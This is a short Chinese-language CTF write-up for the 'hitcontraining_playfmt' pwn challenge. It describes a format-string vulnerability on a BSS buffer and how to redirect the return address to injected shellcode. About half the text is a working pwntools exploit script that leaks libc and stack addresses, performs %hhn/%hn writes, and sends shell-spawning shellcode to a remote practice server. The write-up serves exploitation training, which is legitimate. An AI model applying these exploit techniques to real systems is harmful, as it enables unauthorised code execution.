hitcontraining_playfmt

hitcontraining_playfmt

查看保护


格式 化漏洞，这个buf在bss上，也就是bss上的格式化漏洞。
攻击思路：可以执行shellcode，所以可以在bss上写入shellcode然后持劫ret_addr到shellcode的开头
既然不是栈上的所以需要借助ebp这个链子来完成

第六个位置是ebp第十个位置是ce78。
先将ce78里存放的ce88给改成ce6c，因为ce6c这里放着ret_addr（因为我们最后就是需要将ret_addr改成shellcode的头）
改完之后ce88这里就是ce6c了，而ce6c的后面又是play+77，接着将第十位置改成buf_addr + 4，也就是将play +77改成buf_addr + 4（为什么是四，因为最后输入quit这四个字进行退出来执行shellcode。）
注意：这里笔者没有patchelf，地址和远程的不一样，具体的需要通过格式化来泄露出stack_addr然后对stack_addr进行操作
还有第二种方法，就是劫持ret_addr为one_gadget也可以，只不过这样相对于shellcode打法有一点点麻烦。

from pwn import *
from time import sleep

context(arch='i386', os='linux', log_level='debug')

file_name = './z1r0'
debug = 1
if debug:
    r = remote('node4.buuoj.cn', 26962)
else:
    r = process(file_name)

elf = ELF(file_name)
def dbg():
    gdb.attach(r, 'b *0x0804854f')

p1 = '%15$p'
r.sendline(p1)

r.recvuntil('0x')
libc_start_main = int(r.recv(8), 16) - 229
success('libc_start_main = ' + hex(libc_start_main))

libc = ELF('./libc-2.23.so')
libc_base = libc_start_main - libc.sym['__libc_start_main']

p1 = '%6$p'
r.sendline(p1)

r.recvuntil('0x')
stack_addr = int(r.recv(8), 16) - 0x28
success('stack_addr = ' + hex(stack_addr))

p2 = '%' + str((stack_addr + 0x1c) & 0xff) + 'c%6$hhn' 
r.sendline(p2)

p3 = '%' + str(0xa064) + 'c%10$hn'
r.sendline(p3)

shellcode = asm(shellcraft.sh())
p4 = b'quit' + shellcode
r.send(p4)

r.sendline('quit')

r.interactive()